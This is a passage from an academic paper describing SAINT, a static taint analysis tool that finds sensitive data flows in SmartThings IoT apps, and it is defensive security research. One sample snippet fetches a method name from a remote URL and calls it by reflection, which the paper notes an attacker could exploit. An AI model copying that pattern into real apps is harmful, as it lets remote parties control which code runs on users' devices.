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Abstract—Broadly defined as the Internet of Things (IoT), the
growth of commodity devices that integrate physical processes
with digital connectivity has had profound effects on society–
smart homes, personal monitoring devices, enhanced manufac-
turing and other IoT apps have changed the way we live,
play, and work. Yet extant IoT platforms provide few means
of evaluating the use (and potential avenues for misuse) of
sensitive information. Thus, consumers and organizations have
little information to assess the security and privacy risks these
devices present. In this paper, we present SAINT, a static taint
analysis tool for IoT applications. SAINT operates in three phases;
(a) translation of platform-specific IoT source code into an
intermediate representation (IR), (b) identifying sensitive sources
and sinks, and (c) performing static analysis to identify sensitive
data flows. We evaluate SAINT on 230 SmartThings market apps
and find 138 (60%) include sensitive data flows. In addition,
we demonstrate SAINT on IOTBENCH, a novel open-source test
suite containing 19 apps with 27 unique data leaks. Through
this effort, we introduce a rigorously grounded framework for
evaluating the use of sensitive information in IoT apps—and
therein provide developers, markets, and consumers a means of
identifying potential threats to security and privacy.
Index Terms—IoT privacy, static taint analysis
I. INTRODUCTION
The introduction of IoT devices into public and private spaces
has changed the way we live. For example, home applications
supporting smart locks, smart thermostats, smart switches,
smart surveillance systems, and Internet-connected appliances
change the way we monitor and interact with our living
spaces. Here mobile phones become movable control panels for
managing the environment that supports entertainment, cooking,
and even sleeping. Such devices enable our living space to be
more autonomous, adaptive, efficient, and convenient. However,
IoT has also raised concerns about the privacy of these digitally
augmented spaces [1], [2], [3], [4]. These networked devices
have access to data that can be intensely private, e.g., when
you sleep, what your door lock pin code is, what you watch
on TV or other media, and who and when others are in the
house. Moreover, the state of the devices themselves represents
potentially sensitive information.
Because IoT apps are exposed to a myriad of sensitive data
from sensors and devices connected to the hub, one of the
chief criticisms of modern IoT systems is that the existing
commercial frameworks lack basic tools and services for
analyzing what they do with that information–i.e., application
* contributed equally to this work.
privacy [5], [6], [7]. SmartThings [8], OpenHab [9], Apple’s
Homekit [10] provide guidelines and policies for regulating
security [11], [12], [13], and related markets provide a degree
of internal (hand) vetting of the applications prior to distri-
bution [14], [15]. However, tools for evaluating privacy risks
in IoT implementations is at this time largely non-existent.
What is needed is a suite of analysis tools and techniques
targeted to IoT platforms that can identify privacy concerns
in IoT apps. This work seeks to explore formally grounded
methods and tools for characterizing the use of sensitive data,
and identifying the sensitive data flows in IoT implementations.
Current sensitive data tracking tools designed for mobile apps
and other domains [16], [17] have proved to be inadequate for
several reasons [18], [3]. First, current tools may miss sources
(e.g., sensor state (locked/unlocked)) and sinks (e.g., a network
connection) designed for IoT; thus, they can be circumvented
by malicious apps with ease. Second, security-critical design
flaws in the permission model of IoT platforms, for instance,
over-privilege device controls due to the current coarse-
grained access controls [2], requires the analysis responsive
to these permissions and their effects. Lastly, IoT-specific
implementations such as state variables and web service IoT
apps largely differs from other platforms [19]; therefore, on-
demand algorithms are required to maintain precision.
In this paper, we present SAINT, a static taint analysis tool
for IoT apps. SAINT finds sensitive data flows in IoT apps by
tracking information flow from sensitive sources, e.g., device
state (locked/unlocked) and user info (away/at home) to external
sinks, e.g., Internet connections, and SMS. We conduct a
study of three major existing IoT platforms (i.e., SmartThings,
OpenHAB, and Apple’s HomeKiT) to identify IoT-specific
sources and sinks as well as their sensor-computation-actuator
program structures. We then translate source code of an IoT app
into an intermediate representation (IR). The SAINT IR models
the app’s lifecycle–including program entry points, user inputs,
sensor states–as well simplifying analysis by abstracting away
code that is not relevant to information flow. In this, we address
IoT-specific challenges like events/actions and asynchronously
executing events, as well as platform-specific challenges such
as call by reflection and the use of state variables. Thereafter
SAINT uses the IR to perform efficient static analysis that tracks
information flow from sensitive sources to sink outputs.
We present two studies validating and demonstrating SAINT.
The first is a horizontal market study in which we evaluated
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230 Smarthings IoT apps including 168 market vetted (called
official) and 62 non-vetted (called third-party) apps. SAINT
correctly flagged 92 out of 168 official and 46 out of 62
third-party apps exposing at least one sensitive data via the
Internet or messaging services. Further, the study showed that
half of the analyzed apps transmit out at least three different
sensitive data sources (e.g., device info, device state, user
input) via messaging or Internet. Similarly, approximately two-
thirds of the apps define at most two separate sensitive sink
interfaces and recipients (e.g., remote hostname or URL for
Internet and contact information for messaging). In a second
study, we introduced IOTBENCH, an open-source application
corpus for validating IoT analysis. Our analysis of SAINT on
IOTBENCH showed that it correctly identified the 25 of the 27
unique leaks in the 19 apps. SAINT produced two false-positives
that were caused by flow over-approximation resulting from
reflective methods calls. Additionally, the two missed code
sites contained side-channel leaks and therefore were outside
the scope of SAINT analysis.
It is important to note that the code analysis identifies
potential flows of sensitive data. What the user does with a
discovered sensitive data flow is outside the scope of SAINT.
Indeed, the importance of a flow is highly contextual–one
cannot divine the impact or correctness of a flow without
understanding the environment in which it is deployed–whether
the exposure of a camera image, the room temperature, or
television channel represents a privacy concern depends entirely
on who and under what circumstances the device and app is
used. Hence, we identify those flows which have the potential
impact on user or environmental security and privacy. We
expect that the results will be recorded and the code hand-
investigated to determine the cause(s) of the data flows. If the
data flow is deemed malicious or dangerous for the domain
or environment, the app can be rejected (from the market) or
modified (by the developer) as needs dictate.
We make the following contributions:
• We introduce the SAINT system that automates
information-flow tracking using inter- and intra-data flow
analysis on an IoT app.
• We evaluate SAINT on 230 IoT apps and expose sensitive
information use in commodity apps.
• We validate SAINT on a new open-source IoT-specific
test corpus IOTBENCH, an open-source repository of 19
malicious hand-crafted apps.
We begin in the next section by defining the analysis task and
outlining the security and attacker models.
II. PROBLEM SCOPE AND ATTACKER MODEL
Problem Scope. SAINT analyzes the source code of an IoT
app, identifies sensitive data from a taint source, and attaches
taint labels that describe sensitive data’s sources and types.
It then performs static taint analysis that tracks how labeled
data (source data, e.g., camera image) propagates in the app
(sink, e.g., network interface). Finally, it reports cases, where
sensitive data transmits out of the app at a taint sink such as
through the Internet or some messaging service. In a warning,
SAINT reports the source in the taint label and the details about
the sink, such as the external URL or the mobile phone number.
SAINT does not determine whether the data leaks are malicious
or dangerous; however, the output of SAINT can be further
analyzed to verify whether an app conforms its functionality
and notify users to make informed decisions about potential
privacy risks, e.g., camera image is transmitted.
Currently, SAINT is designed to analyze SmartThings IoT
apps written in the Groovy programming language. We evaluate
the SmartThings platform for two reasons. First, it supports the
largest number of devices (142) among all IoT platforms and
provides apps of various functionalities [20]. Second, it has a
detailed publicly available documentation that helps validate
our findings [19]. As we will detail in Section IV-A, SAINT
exploits the highly-structured nature of the IoT programming
platforms and extracts an abstract intermediate representation
from the source code of an IoT app. This would allow the
algorithms developed in SAINT to be effectively integrated into
other programming platforms written in different programming
or domain-specific languages.
Attacker Model. SAINT detects sensitive data flows from taint
sources to taint sinks caused by carelessness or malicious
intent. We consider an attacker who provides a user a malicious
app that is used to leak sensitive information with or without
permissions granted by the user. First, the granted permissions
may violate user privacy by deviating from the functionality
claimed by the app. Second, permissions granted by an IoT
programming platform may also be used to leak information; for
instance, permissions to access the hub id or the manufacturer
name are often granted by default to develop device-specific
solutions. We assume attackers cannot bypass the security
measures of an IoT platform, nor can they exploit side
channels [21]. For instance, an app that changes the light
intensity to leak the information about whether nobody is at
home is out of the scope of this work.
III. BACKGROUND OF IOT PLATFORMS
We present background of the SmartThings IoT platform [19]
to gain insights into the structure of its apps. We also investigate
two other popular IoT platforms: OpenHab [9] and Apple’s
Homekit [10]. We find that they use similar programming
structures and the differences lie in only the communication
protocols between IoT devices and edge systems. Lastly, we
define each potential type of taint sources, the mechanisms
for taint propagation, and taint sinks by studying their API
documentation.
A. Overview of IoT Platforms
SmartThings is a proprietary platform developed by Samsung.
The platform includes three components: a hub, apps, and
the cloud backend [14]. The hub controls the communication
between connected devices, the cloud backend, and mobile
apps. Apps are developed with Groovy (a dynamic, object-
oriented language) in a Kohsuke sandboxed environment [2].
The sandbox limits developers to a specific subset of the
Groovy language for performance and security. For instance, the
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sandbox bans apps from creating their own classes and threads.
The cloud backend creates software wrappers for physical
devices and runs the apps.
The permission system in SmartThings allows a developer
to specify devices and user inputs required for an app at
install time. User inputs are used to implement the app logic.
For instance, a user input is used to set the heating point
of a thermostat. Devices in SmartThings have capabilities
(i.e., permissions). Capabilities are composed of actions and
events. Actions represent how to control or actuate devices and
events represent the state information of devices. Actions and
events are not one to one. While a device may support many
events, it may have limited actions. Apps are event-driven. They
subscribe to device events or other pre-defined events such as
clicking an icon; when an event is activated, the corresponding
event handler is invoked to take actions.
Users can install SmartThings apps in two different ways
using a smartphone companion app called SmartThings Mobile.
First, users may download apps through the official app market.
Second, users may install third-party apps through the Web IDE
on a proprietary cloud backend. Publishing an app in the official
market requires the developer to submit the source code of the
app for review. Official apps appear in the market after the
completion of a review process that takes around two months to
finish [14]. Users can also develop or install the source code of a
third-party app and make it accessible to only themselves using
the Web IDE. These apps do not require any review process
and are often shared in the SmartThings community forum [22].
Compared to other competing platforms, Smartthings supports
more devices and has a growing number of official and third-
party apps.
OpenHAB is a vendor- and technology-agnostic open-source
automation platform built in the Eclipse IDE [9]. It includes
various devices specifically designed for home automation.
OpenHAB is open sourced and provides flexible and customiz-
able device integration and applications (referred to as rules)
to build automated tasks. Similar to the SmartThings platform,
the rules are implemented through three triggers to react to
the changes in the environment. Event-based triggers listen
to commands from devices; timing-based triggers respond to
special times (e.g., midnight); system-based triggers run with
certain system events such as system start and shutdown. The
rules are written in a Domain Specific Language (DSL) based
on the Xbase language, which is similar to the Xtend language
with some missing features [23]. Users can install OpenHAB
apps by placing them in rules folder of their installations and
from Eclipse IoT Marketplace [24].
Apple’s HomeKit is a development kit that manages and
controls compatible smart devices [10]. The interaction be-
tween users and devices occurs through Siri and HomeKit
apps. Similar to SmartThing and OpenHAB, each device has
capabilities that represent what a device can do. Actions are
defined to send commands to specific devices and triggers can
be defined to execute actions based on location, device, and
time events. Developers write scripts to specify a set of actions,
triggers, and optional conditions to control HomeKit-compatible
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Fig. 1: SAINT’s source and sink categorization in IoT apps.
devices. Developing applications in HomeKit can either be
written in Swift or Objective C. Users can install HomeKit
apps using the Home mobile app provided by Apple [25].
B. IoT Application Structure
From our studying of the three IoT platforms, we found that
their apps share a common structure and common types of taint
sources and sinks. In this section, we describe these common
taint sources and taint sinks to understand why they pose
privacy risks and how sensitive information gets propagated
in their app structure (see Fig. 1). We give the specific list of
SmartThings APIs, by far the most comprehensive one available,
that access taint sources and taint sinks in Appendix A. We will
use this list in Sec. IV-B while performing data flow analysis.
Taint Sources. We classify taint sources into five groups based
on information types.
1) Device States. Device states are the attributes of a device. An
IoT app can acquire a variety of privacy-sensitive information
through device state interfaces. For instance, a door-lock
interface returns the status of the door as locked or unlocked.
In our analysis, we marked device states sensitive as they can
be used to profile habits of a user and pose risks to physical
privacy.
2) Device Information. IoT apps grants access to IoT devices
at install time. Our investigations reveal the platforms often
define interfaces to access device information such as its
manufacturer name, id, and model. This allows a developer
to write device-specific apps. We mark all interfaces used to
acquire device information as sensitive as they can be used for
marketing and advertisement. Note that device information is
static and does not change over the course of app execution.
In contrast, device states introduced earlier may change during
app execution; for instance, an action of an app may change a
device’s state.
3) Location. In the IoT domain, location information refers
to a user’s geolocation or geographical location. Geolocation
defines a virtual property such as a garage or an office defined
by a user to control devices in that location. Geographical
location is used to control app logic through time zones,
longitudes, and latitudes. This information is often provided
by the programming platform using the ZIP code of the user
at install time. For instance, local sunrise and sunset times of
a user’s location may be used to control the window shade
of a house. Location information is acquired through location
interfaces; therefore, we mark these interfaces as taint sources.
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4) User Inputs. IoT apps often require user inputs either to
manage app logic or to control devices. In a simple example,
a temperature value needs to be entered by a user at install
time to set the heating point of a thermostat. User inputs are
also often used to form predicates that control device actions;
for instance, an app may turn off the switch of a device at
a particular time entered by the user. Lastly, users may enter
contact information to enable notifications through messaging
services when specific events occur. We mark such inputs as
sensitive since they contain personally identifiable data and
may be used to profile user behavior. We will discuss more
about the semantics of user inputs in Section VI.
5) State Variables. IoT apps do not store data about their
previous executions. To retrieve data across executions, plat-
forms allows apps to persist data to some propriety external
storage and retrieve this data in later executions. For instance,
an app may persist a “counter” that keeps track of how many
times a door is unlocked; during every execution of the app,
the counter is retrieved from external storage and incremented
when a door is unlocked. We call such persistent data app state
variables. As we detail in Sec. IV-B2, state variables store
sensitive data, and needs to be tracked during taint propagation.
Taint Propagation. An IoT app invokes actions to control its
devices when a particular event occurs. Actions are invoked in
event handlers and may change the state of the devices. For
instance, when a motion sensor triggers a sensor-active event,
an app may invoke an event handler to take an action that
changes the state of the light switch from off to on. This is a
straightforward approach to invoke an action. Event handlers
are not limited to implement only device actions. Apps often
call other functions for implementing the app logic, sending
messages, and logging device events to an external database.
During the execution of event handlers, it is necessary to
track how sensitive information propagates in an app’s logic.
To obtain precision in taint propagation, we start from event
handlers to propagate taint when tainted data is copied or used
in computation, and we delete taint when all traces of tainted
data are removed (e.g., when some variable is loaded with
a constant). We will detail event handlers and SAINT’s taint
propagation logic in Sec. IV.
Taint Sinks. Our initial analysis also uses two taint sinks
(although adding more later is a straightforward exercise).
1) Internet. IoT apps may send sensitive data to external
services or may act as web services through which external
entities acquire sensitive information. For the first kind,
HTTP interfaces may be used to send out information. For
instance, an app may connect to a weather forecasting service
(e.g., www.weather.com) and send out its location information
to get the local weather. For the second kind, a web-service
IoT app may expose a URL that allows external entities to
make requests to the app. For instance, a request from a remote
server may be used to get the room temperature value. We
will detail how SAINT tracks taint of web services apps in
Sec. IV-B2.
2) Messaging Services. IoT apps use messaging APIs to
deliver push notification to mobile-app users and to send
Final	architecture	
	
IoT	App		
source	code	
Perform	
data	flow	
analysis	
	
Obtain	IR	
(source,	sink	and	
entry	point	detec@on)	
	
SainT	analyzer	
Sec$on	4.2	
Report	details	of	
discovered	flows	
SainT	web	console	
Sec$on	4.3	
		
SainT’s	taint	
sources	and	
taint	sinks	
Sec$on	4.1	
Fig. 2: Overview of SAINT architecture.
SMS messages to designated recipients when specific events
occur. We consider all messaging service interfaces taint sinks–
naturally, as they exfiltrate data by design.
IV. SAINT
We present SAINT, a static taint analysis tool designed and
implemented for SmartThings apps. Fig. 2 shows the overview
of SAINT architecture. We implement the SAINT analyzer that
extracts an intermediate representation (IR) from the source
code of an IoT app. The IR is used to construct an app’s entry
points, event handlers, and call graphs (Sec. IV-A). Using these,
SAINT models the lifecycle of an app and performs static taint
analysis (Sec. IV-B). Finally, based on static taint analysis, it
reports sensitive data flows from sources to sinks; for each
data flow, the type of the sensitive information, as well as
information about sinks, are reported (Sec. IV-C).
A. From Source Code to IR
The first step toward modeling the app lifecycle is to
extract an IR from an app’s source code. We exploit the
highly-structured nature of IoT programming platforms based
on our analysis in Sec. III. We found that IoT systems
are generally structured similarly regardless of their purpose
and complexity. The dominant IoT systems structure their
app’s design around the sensor-computation-actuator idioms.
Therefore, we translate the source code of an IoT app into an
IR by exploiting this structure.
SAINT builds the IR from a framework-agnostic component
model, which is comprised of the building blocks of IoT
apps, shown in Fig. 3. A broad investigation of existing IoT
environments showed that the programming environments could
be generalized into three component types: (1) Permissions
grant capabilities to devices used in an app; (2) Events/Actions
reflect the association between events and actions (when an
event is triggered, an associated action is performed); and (3)
Call graphs represent the relationship between entry points
and functions in an app. The IR has several benefits. First, it
allows us to precisely model the app lifecycle as described
above. Second, it is used to abstract away parts of the code
that are not relevant to property analysis, e.g., definition
blocks that specify app meta-data and logger logging code.
Third, it allows us to have effective taint tracking, e.g., by
associating permissions with the corresponding taint tags and
by knowing what methods are entry points.
Presented in Fig. 4, we use a sample app to illustrate the
use of the IR. The app unlocks the front door and turns on
the lights when she arrives at home. When she leaves, it turns
off the lights, locks the front door, and sends to the security
service a short message that she is away based on the preferred
time window specified by her.
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Fig. 3: Components of the Intermediate Representation (IR).
Permissions. Permissions are granted when a user installs or
updates an app. This is where various types of devices and user
inputs are described and granted access. The permissions are
read-only, and app logic is implemented using the permissions.
The SAINT analyzer analyzes the source code of an app and
extracts permissions for all devices and user inputs. Turning
to the IR example in Fig. 4, the permission block (lines 1-7)
defines: (1) the devices: a presence sensor, a switch, and a door;
and (2) user inputs: security-service “contact” information for
sending notification messages, and “fromTime” and “toTime”
values that are used to determine whether notification messages
should be sent. For each permission, the IR declares a triple
following keyword “input”. For devices, the first two entries
map device identifiers to their platform-specific device names
in order to determine the interfaces that a device may access.
For instance, an app granting access to a switch may use
theswitcState object to access its “on” or “off” state. For
a user input, the line in the IR contains the string name storing
the user input and its type. The next entry labels the input
with a taint tag showing the type of information such as the
user-defined tag. We note that we consider user inputs sensitive.
We also include in the permission block a set of common
interfaces designed for all apps that may leak sensitive data.
For instance, location.currentMode gives the location
mode either set to home or away. We assign each sensitive
value to its label based on taint tags defined in Sec. III-B. In
this way, we obtain a complete list of sensitive interfaces an
app may access.
Events/Actions. Similar to mobile applications, an IoT app
does not have a main method due to its event-driven nature.
Apps implicitly define entry points by subscribing events. The
events/actions block in an IR is built by analyzing how an
app subscribes to events. Each line in the block includes three
pieces of information: the mapping used for a device, a device
event to be subscribed, and an event handler method to be
invoked when that event occurs. The event handler methods
are commonly used to take device actions. Therefore, an app
may define multiple entry points by subscribing multiple events
of a device or devices. Turning to our example, the event of
state changing to “present” is associated with an event handler
method named h1() and the event of changing to “not present”
with the h2() method.
We also found that events are not limited to device events,
and can be generated in many other ways: (1) Timer events;
event handlers are scheduled to take actions within a particular
time or at pre-defined times (e.g., an event handler is invoked
to take actions after a given number of minutes has elapsed or
//	Permissions	block	
input	(p,	presenceSensor,	type:device)	
input	(s,	switch,	type:device)	
input	(d,	door,	type:device)	
input	(fromTime,	time,	type:user_defined)	
input	(toTime,	time,	type:user_defined)	
input	(c,	contact,	type:user_defined)	
	
//	Events/Actions	block	
subscribe(p,	“present”,	h1)	
subscribe(p,	“not	present”,	h2)	
	
	
//	Entry	point	
h1(){	
	x()	
}	
	 	
//	Entry	point	
h2(){	
	s.off()	
	d.lock()	
	def	between=	y()	
	if	(between){	
						z() 		
	}	
}	
	
	
x(){	
	s.on()	
	d.unlock()	
}	
	
	
y(){	
		 	return	timeOfDayIsBetween(fromTime,	toTime,	 	
																	new	Date(),	location.timeZone)	
}	
		
z(){	
	sendSms(c,	“...”)	 		
}	
1:	
2:	
3:	
4:	
5:	
	6:	
7:	
	
	
8:	
9:	
10:	
11:	
12:	
13:	
14:	
	
15:	
16:	
17:	
18:	
19:	
20:	
21:	
22:	
23:	
	
	
24:	
25:	
26:	
27:	
	
	
28:	
29:	
30:	
	
31:	
	
32:	
33:	
	
34:	
USENIX	
Fig. 4: The IR of a sample app constructed with SAINT from its
source code to demonstrate the precise modelling of an IoT app
lifecycle. (Appendix A presents its Groovy source code.)
at specific times such as sunset); (2) Web service events; IoT
programming platforms may allow an app to be accessible over
the web. This allows external entities (e.g., If This Then That
(IFTTT) [26]) to make requests to the app, and get information
about or control end devices; (3) App touch events; for example,
some action can be performed when the user clicks on a button
in an app; (4) what actions get generated may also depend on
mode events, which are behavior filters that automate device
actions. For instance, an app running in “home” mode turns
off the alarm and turns on the alarm when it is in the “away”
mode. Our SAINT analyzer analyzes all event subscriptions and
finds their corresponding event handler methods; it creates a
dummy main method for each entry point.
Asynchronously Executing Events. While each event corre-
sponds to a unique event handler, the sequence of the event
handlers cannot be decided in advance when multiple events
happen at the same time. For instance, in our example, there
could be a third subscription in the event/actions block that
subscribes to the switch-off event to invoke another event-
handler method. We consider eventually consistent events,
which means any time an event handler is invoked, it will
finish execution before another event is handled, and the events
are handled in the order they are received by an edge device
(e.g., a hub). We base our implementation on path-sensitive
analysis that analyzes an app’s event handlers, which can run
in arbitrary sequential order. This is enabled by constructing a
separate call graph for each entry point.
Call Graphs. We create a call graph for each entry point that
defines an event-handler method. Turning to IR depicted in
Fig. 4, we have two entry points h1() and h2() (line 12 and
16). h1() invokes x() to unlock the door and turn on the
lights. Entry point h2() turns off the light and locks the door.
It then calls method y() to check the time to decide whether
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Algorithm 1 Computing dependence from taint sinks
Input: ICFG : Inter-procedural control flow graph
Output: Dependence relation dep
1: worklist ← ∅; done ← ∅; dep ← ∅
2: for an id in a sink call’s arguments at node n do
3: worklist ← worklist ∪ {(n, id)}
4: end for
5: while worklist is not empty do
6: (n, id) ← worklist .pop()
7: done ← done ∪ {(n, id)}
8: for node n′ with id def.1 in assignment id = e do
9: ids ← {(n′, id ′) | id ′ is an identifier in e}
10: worklist ← worklist ∪ (ids \ done)
11: dep ← dep ∪ {(n : id , n′ : ids)}
12: end for
13: end while
1 An id definition means that there is a control-flow path from n′ to
n and on the path there is no other assignments to id .
to send a short message to a predefined contact via method
z(). We note that the next section will detail how to construct
call graphs, for example, in the case of call by reflection.
B. Static Taint Tracking
We start with backward taint tracking (Sec. IV-B1). We
then present algorithms to address platform- and language-
specific taint-tracking challenges like state variables, call by
reflection, web-service IoT apps, and Groovy-specific properties
(Sec. IV-B2). Last, we discuss the problem of implicit flows
in static taint tracking (Sec. IV-B3).
1) Backward Taint Tracking: From the inter-procedural
control flow graph (ICFG) of an app, SAINT’s backward taint
tracking consists of two steps: (1) it first performs taint tracking
backward from taint sinks to construct possible data-leak paths
from sources to sinks; (2) using path- and context-sensitivity,
it then prunes infeasible paths to construct a set of feasible
paths, which are the output of SAINT’s static taint tracking.
In the first step, SAINT starts at the sinks of the ICFG and
propagates taint backward. The reason that SAINT uses the
backward approach is to reduce the processing overhead by
starting from a few sinks instead of from a huge number of
sensitive sources. This is confirmed by checking the ratio of
sinks over sources in analyzed IoT apps (see Fig. 7 in Sec. V
for taint source analysis and see Fig. 9 in Sec. V for taint sink
analysis).
Algorithm 1 details the steps for computing a dependence
relation that captures how values propagate in an app. It is
a worklist-based algorithm. The worklist is initialized with
identifiers that are used in the arguments of sink calls. Note
that each identifier is also labeled with the node information
to uniquely identify the use of an identifier because the same
identifier can be used in multiple locations. The algorithm then
takes an entry (n, id) from the worklist and finds a definition for
id on the ICFG; it adds identifiers on the right-hand side of the
definition to the worklist; furthermore, the dependence between
id and the right-hand side identifiers are recorded in dep. Note
preferences	{		
		section(“Select	thermostat	device”)	{		
			input	“ther”,	"capability.thermostat”}	
		section(“threshold	value”){	
			input	“thld”,	“number”}		
}	
	
def	initialize()	{	
		subscribe(app,	appHandler)	
}	
	
def	appHandler(evt)	{	
		f()	
}	
def	f(){	
		temp=ther.latestValue("temperature")	
		temp_cel=convert	(temp)	+	thld	
		bar(temp_cel)	
}	
	
def	convert(t){	
		return((t-32)*5)/9)	
}	
	
def	bar(t){	
		ther.setHeatingSetpoint(t) 		
		sendSMS(phone,	“set	to	${t}”)			
}	
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Fig. 5: Taint tracking under backward flow analysis.
that for ease of presentation the algorithm treats parameter
passing in a function call as inter-procedural definitions.
To illustrate, we use the code in Fig. 5 as an example.
There is a sink call at place 1 . So the worklist is initialized
to be ((23:phone), (23:t)); for illustration, we use line
numbers instead of node information to label identifiers. Then,
because of the function call at 2 , (16:temp_cel) is added
to the worklist and the dependence (23:t, 16:[temp_cel])
is recorded in dep. With similar computation, the final output
dependence relation for the example is as follows:
(23:t, 16:[temp_cel]), (16:temp_cel, 15:[temp, thld]),
(15:temp, 14:[ther.latestValue])
With the dependence relation computed and information about
taint sources, SAINT can easily construct a set of possible data-
leak paths from sources to sinks. For the example, since the
threshold value thld is a user-input value (lines 4 and 5 in
Fig. 5), we get the following possible data-leak path: 5:thld
to 16:temp_cel to 23:t.
In the next step, SAINT prunes infeasible data-leak paths
using path- and context-sensitivity. For a path, it collects the
evaluation results of the predicates at conditional branches and
checks whether the conjunction of those predicates (i.e., the
path condition) is always false; if so, the path is infeasible and
discarded.2 For instance, if a path goes through two conditional
branches and the first branch evaluates x > 1 to true and
the second evaluates x < 0 to true, then it is an infeasible
path. SAINT does not use a general SMT solver to check path
conditions. We found that the predicates used in IoT apps
are extremely simple in the form of comparisons between
variables and constants (such as x = c and x > c); thus, SAINT
implemented its simple custom checker for path conditions.
Furthermore, SAINT throws away paths that do not match
function calls and returns (using depth-one call-site sensitivity).
At the end of the pruning process, we get a set of feasible
paths from taint sources to sinks.
2) SmartThings Idiosyncrasies: Our initial prototype imple-
mentation of SAINT was based on the taint tracking approach
we discussed. However, SmartThings platform has a number
of idiosyncrasies that may cause imprecision in taint tracking.
We next discuss how these issues are addressed in SAINT.
Field-sensitive Taint Tracking of State Variables. As dis-
cussed before, IoT apps use state variables that are stored
in external storage to persist data across executions. In
SmartThings, state variables are stored in either the global
state object or the global atomicState object. Listing 1
2Similar to how symbolic execution prunes paths via path conditions.
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Listing 1: Sample code blocks for SmartThings idiosyncrasies
1 /* A code block of an app using a state variable */
2 def initialize() {
3 state.switchCounter = 0
4 subscribe(theswitch, "switch.on", turnedOnHandler)
5 }
6 def turnedOnHandler() {
7 state.switchCounter = state.switchCounter + 1
8 taintedVar = state.switchCounter // tainted
9 }
10 /* A code block of app using call by reflection */
11 def getMethod(){
12 httpGet("http://url"){
13 resp -> if(resp.status == 200){
14 methodName = resp.data.toString()
15 }
16 "$methodName"() //call by reflection
17 }
18 def foo() {...}
19 def bar() {...}
20 /* A code block of an example web-service app */
21 mappings {
22 path("/switches") {
23 action: [GET: "listSwitches"] }
24 path("/switches/:command") {
25 action: [PUT: "updateSwitches"] }
26 }
27 def listSwitches() {
28 switches.each {
29 resp << [name: it.displayName, value:
30 it.currentValue("switch")]} //tainted
31 return resp
32 }
33 def updateSwitches() {...}
34 /* An code block of an app using closures */
35 def someEventHandler(evt) {
36 def currSwitches = switches.currentSwitch //tainted
37 def onSwitches = currSwitches.findAll { //tainted
38 switchVal -> switchVal == "on" ? true : false
39 }
40 }
41 /* Implicit flows in an example app */
42 def batteryHandler(evt) {
43 def batLevel = event.device?.currentBattery;
44 if (batLevel < 25) {
45 switches.off()
46 def message = "battery low for device"
47 sendSMS(phone, message)
48 }
49 }
(lines 1–9) presents an example app using the state object
to store a field named switchCounter to track the number
of times a switch is turned on. To taint track potential data
leaks through state variables, SAINT applies field-sensitive
analysis to track the data dependencies of all fields defined
in the state and atomicState objects. We label fields
in those two objects with a new taint label “state variable”
and perform taint tracking. For instance, the taintedVar
variable in Listing 1 is labeled with the state-variable taint by
SAINT.
Call by Reflection. The Groovy language supports program-
ming by reflection (using the GString feature) [27], which
allows a method to be invoked by providing its name as a
string. For example, a method foo() can be invoked by
declaring a string name="foo" and thereafter called by
reflection through $name; see Listing 1 (lines 10–19) for
another example. This can be exploited if an attacker can
control the string used in call by reflection [2], e.g., if the code
has name=httpGet(URL) and the URL is read from an
external server. While SmartThings does not recommend using
reflective calls, our study found that ten apps in our corpus use
this feature (see Sec. V). To handle calls by reflection, SAINT’s
call graph construction adds all methods in an app as possible
call targets, as a safe over-approximation. For the example in
Listing 1, SAINT adds both foo() and bar() methods to
the targets of the call by reflection in the call graph.
Web Service Applications. A web-service SmartThings app
allows external entities to access smart devices and man-
age those devices. Such apps declare mappings relating
endpoints, HTTP operations, and callback methods. List-
ing 1 (lines 20–33) presents a code snippet of a real web
service app. The /switches endpoint handles an HTTP
GET request that returns the state information of configured
switches by calling the listSwitches() method; the
/switches/:command endpoint handles a PUT request
that invokes the updateSwitches() method to turn on or
off the switches. The first prototype of SAINT did not flag
the web service apps for leaking sensitive data. However, our
manual investigation showed that the web-service apps respond
to HTTP GET, PUT, POST, and DELETE requests from
external services and may leak sensitive data. To correct this,
we modified the taint-tracking algorithm to analyze what call
back methods are declared through the mappings declaration
keyword [28]. Sensitive data leaked through those call back
methods are then flagged by SAINT.
Closures and Groovy-Specific Operations. The Krushke
sandbox enforced in SmartThings allows for closures and other
Groovy-specific operations such as array insertions via <<.
The SmartThings official developer guideline [19] imposes
certain restrictions on these operations. For instance, closures
are disallowed outside of methods. SAINT’s implementation
follows the guideline and imposes the same restrictions. For
closures, we found that apps often loop through a list of
devices and use a closure to perform computation on each
device in the list. Listing 1 (lines 34–40) shows an example in
which a closure is used to iterate through the currSwitches
object to identify those switches that are turned on. For correct
taint tracking, SAINT analyzes the structure of closures and
inspects expressions in the closures to see how taints should
be propagated.
3) Implicit Flows: An implicit flow occurs if the invocation
of a sink interface is control dependent on a sensitive test
used in a conditional branch. SAINT implements an algorithm
designed to track implicit flows [29]. It checks the condition of
a conditional branch and sees whether it depends on a tainted
value. If so, it taints all elements in the conditional branch [30].
Listing 1 (lines 41–49) presents an example app, in which an
implicit flow happens because a sendSMS() call is control
dependent on a test that involves sensitive data batLevel.
We found that IoT apps often use tainted values in control
flow dependencies. In our analysis, approximately two-thirds
of analyzed apps implement device actions (such as unlocking
a door) in branches whose tests are based on tainted values
(such as a user’s presence). We leave the detection of implicit
flows optional in SAINT, and evaluate the impact of implicit
flow tracking on false positives in Sec. V-B.
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def	iniAalize()	{	
	ecobee.poll()	
	subscribe(app,	appTouch)	
}	
private	void	sendMsgWithDelay()	{	
	if	(state?.msg)	{	
	 	send	state.msg	
	}	
}	
def	appTouch(evt)	{	
	def	plugSeLngs	=	[holdType:	"${givenHoldType}”]		
		
	
Taint	Sink:	Messaging	Services,	SMS	and	Push	NoAficaAon	
	
Interface:	sendPush()	in	Line	123	
Interface:	sendSms()	in	Line	128	
	
	
Data	Flow	Path	1:	sendSms	-->	$plugName	[Device	InformaAon]	
Data	Flow	Path	2:	sendSms	-->	state.msg	[State	Variable]	
Data	Flow	Path	3:	SendPush-->	state.msg	[State	Variable]	
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Fig. 6: Our SAINT data flow analysis tool designed for IoT apps. The left region is the analysis frame, and the right region is the output of
an example IoT app for a specific data flow evaluation.
C. Implementation
The IR construction from the source code of the input IoT
app requires the building of the app’s ICFG. SAINT’s IR-
building algorithm directly works on the Abstract Syntax Tree
(AST) representation of Groovy code. The Groovy compiler
supports customizing the compilation process by supporting
compiler hooks, through which one can insert extra passes into
the compiler (similar to the modular design of the LLVM
compiler [31]). The SAINT analyzer visits AST nodes at
the compiler’s semantic analysis phase where the Groovy
compiler performs consistency and validity checks on the
AST. Our implementation uses an ASTTransformation to
hook into the compiler, GroovyClassVisitor to extract
the entry points and the structure of the analyzed app, and
